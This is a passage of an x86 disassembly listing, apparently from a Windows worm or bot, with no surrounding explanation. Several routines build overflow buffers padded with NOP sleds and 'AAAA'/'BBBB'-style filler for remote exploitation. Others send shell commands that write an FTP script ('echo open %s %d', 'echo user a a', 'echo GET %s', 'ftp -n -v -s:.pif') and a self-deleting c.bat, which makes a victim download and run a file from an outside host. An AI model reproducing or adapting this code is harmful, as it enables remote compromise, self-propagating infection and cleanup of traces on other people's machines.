push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_40128F
pop edi
pop esi
retn 4
sub_422E10 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422E50 proc near ; CODE XREF: sub_401497j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_40128F
retn 8
sub_422E50 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422E80 proc near ; CODE XREF: sub_401712j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_401091
test al, al
jnz short loc_422E94
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_422E94: ; CODE XREF: sub_422E80+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_43CC38
lea ecx, [esp+1Ch+var_8]
call sub_402040
mov ecx, esi
call sub_401627
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_422E80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422EF0 proc near ; CODE XREF: sub_401D75j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_401497
test al, al
jnz short loc_422F0C
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_422F0C: ; CODE XREF: sub_422EF0+16j
mov ecx, esi
call sub_401712
pop esi
retn 8
sub_422EF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422F30 proc near ; CODE XREF: sub_401AE6j
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_401271
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_423305
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_423305
push edi
lea ecx, [esp+864h+var_830]
call sub_401271
lea ecx, [esp+864h+var_840]
call sub_401271
lea ecx, [esp+864h+var_810]
call sub_401271
lea ecx, [esp+864h+var_848]
call sub_401271
lea ecx, [esp+864h+var_820]
call sub_401271
lea ecx, [esp+864h+var_828]
call sub_401271
lea ecx, [esp+864h+var_838]
call sub_401271
push 4
push offset dword_43C8D4
lea ecx, [esp+86Ch+var_830]
call sub_40128F
push 3
push offset dword_43C8DC
lea ecx, [esp+86Ch+var_830]
call sub_40128F
lea ecx, [esp+864h+var_830]
call sub_401A73
lea ecx, [esp+864h+var_830]
call sub_401712
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_40128F
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_40128F
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_40128F
lea ecx, [esp+864h+var_840]
call sub_401A73
push offset dword_43CC5C
lea ecx, [esp+868h+var_810]
call sub_401ECE
lea ecx, [esp+864h+var_810]
call sub_401A73
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_40177B
lea ecx, [esp+864h+var_808]
call sub_401A73
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401D75
lea ecx, [esp+864h+var_808]
call sub_401627
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_401ECE
push 4
push offset dword_43C8E0
lea ecx, [esp+86Ch+var_848]
call sub_40128F
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_40128F
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_40128F
lea ecx, [esp+864h+var_848]
call sub_401A73
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_401497
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_401497
lea ecx, [esp+864h+var_820]
call sub_401712
lea ecx, [esp+864h+var_848]
call sub_401627
lea ecx, [esp+864h+var_810]
call sub_401627
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_401497
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_401497
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_401497
lea ecx, [esp+864h+var_828]
call sub_401712
lea ecx, [esp+864h+var_840]
call sub_401627
lea ecx, [esp+864h+var_830]
call sub_401627
lea ecx, [esp+864h+var_820]
call sub_401627
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_40128F
lea ecx, [esp+864h+var_838]
call sub_401A73
push 2
push offset dword_43CC50
lea ecx, [esp+86Ch+var_838]
call sub_40128F
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_401497
lea ecx, [esp+864h+var_838]
call sub_401712
lea ecx, [esp+864h+var_828]
call sub_401627
lea ecx, [esp+864h+var_850]
call sub_401271
lea ecx, [esp+864h+var_858]
call sub_401271
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_401497
lea ecx, [esp+864h+var_850]
call sub_401091
lea ecx, [esp+864h+var_838]
call sub_401627
push offset dword_43CC4C
lea ecx, [esp+868h+var_858]
call sub_401ECE
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_401497
lea ecx, [esp+864h+var_858]
call sub_401091
lea ecx, [esp+864h+var_850]
call sub_401627
push offset dword_43BD64
lea ecx, [esp+868h+var_850]
call sub_401ECE
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_401497
lea ecx, [esp+864h+var_850]
call sub_401091
lea ecx, [esp+864h+var_858]
call sub_401627
push offset dword_43CC40
lea ecx, [esp+868h+var_858]
call sub_401ECE
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_401497
lea ecx, [esp+864h+var_858]
call sub_401091
lea ecx, [esp+864h+var_850]
call sub_401627
push offset dword_43CC3C
lea ecx, [esp+868h+var_818]
call sub_401ECE
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_401497
lea ecx, [esp+864h+var_858]
call sub_401627
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_423305: ; CODE XREF: sub_422F30+1Ej
; sub_422F30+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_422F30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423430 proc near ; CODE XREF: sub_4019D3j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
call ds:dword_4B3C5C
cmp eax, 1
jz short loc_423499
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_423499: ; CODE XREF: sub_423430+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_430A68
test eax, eax
jnz short loc_4234B0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_4234B0: ; CODE XREF: sub_423430+76j
mov edx, [esp+214h+arg_C]
mov eax, [esp+214h+arg_8]
mov ecx, [esp+214h+arg_4]
push edx
push eax
push ecx
push esi
call ds:dword_4B3C6C
pop esi
add esp, 210h
retn
sub_423430 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423510 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
call ds:dword_4B3C78
mov edi, [esp+0Ch+arg_0]
mov ebx, ds:dword_4B3C9C
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx
cmp eax, 4
jz short loc_423543
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_423543: ; CODE XREF: sub_423510+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_423510 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423580 proc near ; CODE XREF: sub_4012C1j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
call ds:dword_4B3AB0
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4235B3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_4235B3: ; CODE XREF: sub_423580+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_43C970
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_43C8E8
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, ds:dword_43C9A0
mov [ebx+31h], eax
mov ecx, ds:dword_43C9A4
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, ds:dword_4B22F0
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, ds:word_4B22F4
push esi
mov [eax+4], dx
call sub_4012BC
add esp, 0Ch
test al, al
pop edi
jnz short loc_423658
push ebx
call ds:dword_4B3AAC
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_423658: ; CODE XREF: sub_423580+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_4019D3
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012BC
add esp, 1Ch
test al, al
jnz short loc_423693
push ebx
call ds:dword_4B3AAC
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_423693: ; CODE XREF: sub_423580+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_4019D3
push ebx
call ds:dword_4B3AAC
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_423580 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423710: ; CODE XREF: _294ADE7B:00401758j
sub esp, 41Ch
mov ecx, 0FFh
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp+29h]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset dword_43CB14
lea edi, [esp+28h]
rep movsd
movsw
mov ecx, offset byte_4403A9
movsb
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
mov ecx, [esp+430h]
push eax
mov eax, ds:dword_4404E7
push eax
push ecx
call sub_401CC1
add esp, 4
lea edx, [esp+0C3h]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
call ds:dword_4B3AA8
add eax, 90h
lea ecx, [esp+2Ch]
push eax
lea eax, [esp+48h]
push eax
push 164h
push offset dword_43C9AC
push ecx
call sub_401AE6
mov eax, [esp+44h]
xor edi, edi
add esp, 30h
cmp eax, edi
jnz short loc_4237B9
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
loc_4237B9: ; CODE XREF: _294ADE7B:004237ABj
mov ebp, ds:dword_4B3CB0
mov [esp+0Ch], edi
loc_4237C3: ; CODE XREF: _294ADE7B:00423868j
test edi, edi
jnz loc_42386E
push 6
push 1
push 2
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_423851
mov eax, [esp+4CAh]
xor edx, edx
mov [esp+1Ah], edx
push eax
mov [esp+22h], edx
mov word ptr [esp+1Ch], 2
mov [esp+26h], edx
mov [esp+2Ah], dx
call ebp
lea ecx, [esp+430h]
mov [esp+1Ah], ax
push ecx
call ds:dword_4B3CBC
lea edx, [esp+18h]
push 10h
push edx
push esi
mov [esp+28h], eax
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jz short loc_423846
mov eax, [esp+14h]
mov ecx, [esp+10h]
push eax
push ecx
push esi
call sub_4012C1
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_423846: ; CODE XREF: _294ADE7B:0042382Aj
push esi
call ds:dword_4B3CA8
test edi, edi
jnz short loc_42385C
loc_423851: ; CODE XREF: _294ADE7B:004237DCj
push 3E8h
call ds:dword_4B38CC
loc_42385C: ; CODE XREF: _294ADE7B:0042384Fj
mov eax, [esp+0Ch]
inc eax
cmp eax, 2
mov [esp+0Ch], eax
jl loc_4237C3
loc_42386E: ; CODE XREF: _294ADE7B:004237C5j
lea ecx, [esp+10h]
call sub_401627
test edi, edi
jz short loc_42389E
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E8h]
mov edi, esp
rep movsd
movsw
call sub_401131
add esp, 0BCh
loc_42389E: ; CODE XREF: _294ADE7B:00423879j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
aRrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
align 4
dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h
dd 2EE06800h, 0C9E80000h, 83FFFDE6h, 0FCA308C4h, 0C3004B22h
dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_423970 proc near ; CODE XREF: sub_401375j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 0C8h
call ds:dword_4B38CC
mov edx, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+4+arg_0]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
call ds:dword_4B3C9C
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
sub_423970 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4239C0 proc near ; CODE XREF: sub_40135Cj
var_434 = byte ptr -434h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_4239C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 428h
xor eax, eax
push ebx
mov [esp+438h+var_41C], eax
push esi
mov [esp+43Ch+var_418], eax
lea ecx, [esp+43Ch+arg_4]
push edi
mov [esp+440h+var_414], eax
push ecx
mov [esp+444h+var_410], eax
mov word ptr [esp+444h+var_41C], 2
call ds:dword_4B3CBC
mov dx, ds:word_4B22FC
mov [esp+440h+var_418], eax
push edx
call ds:dword_4B3CB0
push 0
push 1
push 2
mov word ptr [esp+44Ch+var_41C+2], ax
call ds:dword_4B3CAC
mov esi, eax
or ebx, 0FFFFFFFFh
cmp esi, ebx
jz loc_423CBE
lea eax, [esp+440h+var_41C]
push 10h
push eax
push esi
call ds:dword_4B3CB4
cmp eax, ebx
jz loc_423CBE
mov edi, ds:dword_4B3C6C
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi
lea ecx, [esp+440h+var_434]
call sub_4013CF
mov edx, ds:dword_4404E7
mov eax, [esp+440h+arg_0]
push edx
push eax
mov [esp+448h+var_4], 0
call sub_401CC1
add esp, 4
lea ecx, [esp+444h+var_434]
push eax
push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea edx, [esp+440h+var_434]
push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea eax, [esp+440h+var_434]
push offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
mov ecx, offset byte_4403A9
call sub_401726
push eax
lea ecx, [esp+444h+var_434]
push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea edx, [esp+440h+var_434]
push offset aEchoBye_pif ; "echo bye>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea eax, [esp+440h+var_434]
push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea ecx, [esp+440h+var_434]
push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
mov ecx, offset byte_4403A9
call sub_401726
push eax
lea edx, [esp+444h+var_434]
push offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz loc_423CAE
lea eax, [esp+440h+var_434]
push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz short loc_423CAE
lea ecx, [esp+440h+var_434]
push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz short loc_423CAE
lea edx, [esp+440h+var_434]
push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jz short loc_423CAE
lea eax, [esp+440h+var_434]
push offset dword_43D7DC
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_401479
push eax
push esi
call sub_401375
add esp, 8
test al, al
jnz short loc_423CC2
loc_423CAE: ; CODE XREF: sub_4239C0+F3j
; sub_4239C0+120j ...
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_4011F9
loc_423CBE: ; CODE XREF: sub_4239C0+6Fj
; sub_4239C0+85j
xor al, al
jmp short loc_423CEA
; ---------------------------------------------------------------------------
loc_423CC2: ; CODE XREF: sub_4239C0+2ECj
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi
push esi
call ds:dword_4B3CA8
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_4011F9
mov al, 1
loc_423CEA: ; CODE XREF: sub_4239C0+300j
mov ecx, [esp+440h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 434h
retn
sub_4239C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423DF0 proc near ; CODE XREF: sub_401744j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_28 = byte ptr 2Ch
arg_2C = byte ptr 30h
arg_2F = byte ptr 33h
arg_59 = byte ptr 5Dh
arg_5B = byte ptr 5Fh
arg_5C = byte ptr 60h
arg_90 = byte ptr 94h
arg_A4 = byte ptr 0A8h
arg_A5 = byte ptr 0A9h
arg_F0 = byte ptr 0F4h
arg_190 = byte ptr 194h
arg_89C = dword ptr 8A0h
arg_8AC = byte ptr 8B0h
arg_8D4 = dword ptr 8D8h
arg_8E4 = byte ptr 8E8h
arg_C08 = dword ptr 0C0Ch
arg_C0C = dword ptr 0C10h
arg_C18 = byte ptr 0C1Ch
arg_E30 = byte ptr 0E34h
arg_E50 = byte ptr 0E54h
arg_E70 = byte ptr 0E74h
arg_E90 = byte ptr 0E94h
arg_1480 = byte ptr 1484h
arg_14E0 = byte ptr 14E4h
arg_14FC = byte ptr 1500h
arg_1CCC = byte ptr 1CD0h
arg_2177 = byte ptr 217Bh
arg_2464 = byte ptr 2468h
arg_24C5 = byte ptr 24C9h
arg_34F8 = byte ptr 34FCh
arg_3FA0 = byte ptr 3FA4h
arg_3FC0 = byte ptr 3FC4h
arg_401C = byte ptr 4020h
arg_401D = byte ptr 4021h
arg_4020 = byte ptr 4024h
arg_4030 = byte ptr 4034h
arg_4AF4 = byte ptr 4AF8h
arg_6098 = byte ptr 609Ch
arg_60F8 = byte ptr 60FCh
arg_6100 = byte ptr 6104h
arg_8140 = byte ptr 8144h
arg_81DC = byte ptr 81E0h
arg_8234 = dword ptr 8238h
arg_8290 = dword ptr 8294h
arg_8294 = dword ptr 8298h
mov eax, 81D8h
call sub_430390
mov eax, ds:dword_43D93C
mov ecx, ds:dword_43D940
push ebx
push ebp
push esi
lea edx, [esp+0Ch+arg_81DC]
push edi
mov [esp+10h], eax
push edx
lea eax, [esp+14h+arg_4]
push offset dword_43D930
push eax
mov [esp+1Ch+arg_0], ecx
call ds:dword_4B3C18
add esp, 0Ch
xor eax, eax
lea ecx, [esp+10h+arg_A5]
loc_423E35: ; CODE XREF: sub_423DF0+56j
mov dl, [esp+eax+10h+arg_4]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 28h
jl short loc_423E35
mov ecx, 18h
mov esi, offset dword_43D200
lea edi, [esp+10h+arg_2C]
xor eax, eax
rep movsd
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+10h+arg_A4]
shl ecx, 1
mov eax, ecx
lea edi, [esp+10h+arg_5C]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, ds:dword_43D257
rep movsb
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
mov eax, ds:dword_43D25B
dec ecx
lea edi, [esp+10h+arg_4]
lea ecx, [esp+ecx*2+10h+arg_5B]
mov [ecx], edx
mov dl, ds:byte_43D25F
mov [ecx+4], eax
xor eax, eax
mov [ecx+8], dl
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+10h+arg_4]
mov ebx, ecx
or ecx, 0FFFFFFFFh
add bl, 1Ah
shl bl, 1
repne scasb
mov ax, ds:word_4B22FC
mov [esp+10h+arg_2F], bl
not ecx
dec ecx
push eax
shl cl, 1
add cl, 9
mov [esp+14h+arg_59], cl
call ds:dword_4B3CB0
mov edx, [esp+14h+arg_8294]
xor eax, 9999h
test edx, edx
mov ds:word_43CF00, ax
jz loc_423FE3
mov ecx, 36Bh
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov edx, ds:dword_43D5F4[edx*8]
rep stosd
mov edi, offset dword_43CE50
or ecx, 0FFFFFFFFh
xor eax, eax
mov esi, offset dword_43CE50
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_8E4]
mov eax, ecx
mov [esp+14h+arg_8D4], edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, ds:dword_43D928
mov edi, offset dword_43CE50
mov [esp+14h+arg_C08], ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov [esp+14h+arg_C0C], edx
mov edx, ecx
mov esi, offset dword_43CE50
lea edi, [esp+14h+arg_C18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+14h+arg_24C5]
loc_423F8F: ; CODE XREF: sub_423DF0+1B5j
mov dl, [esp+eax+14h+arg_F0]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 0DACh
jl short loc_423F8F
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_60F8]
mov [esp+14h+arg_401C], 0
rep stosd
stosw
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_4020]
mov [esp+14h+arg_401D], 0
rep stosd
stosw
jmp short loc_424052
; ---------------------------------------------------------------------------
loc_423FE3: ; CODE XREF: sub_423DF0+10Bj
mov ecx, 1F4h
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov esi, offset dword_43CE50
rep stosd
mov edi, offset dword_43CE50
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_190]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+14h+var_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+14h+var_4]
mov edx, ecx
lea edi, [esp+14h+arg_8AC]
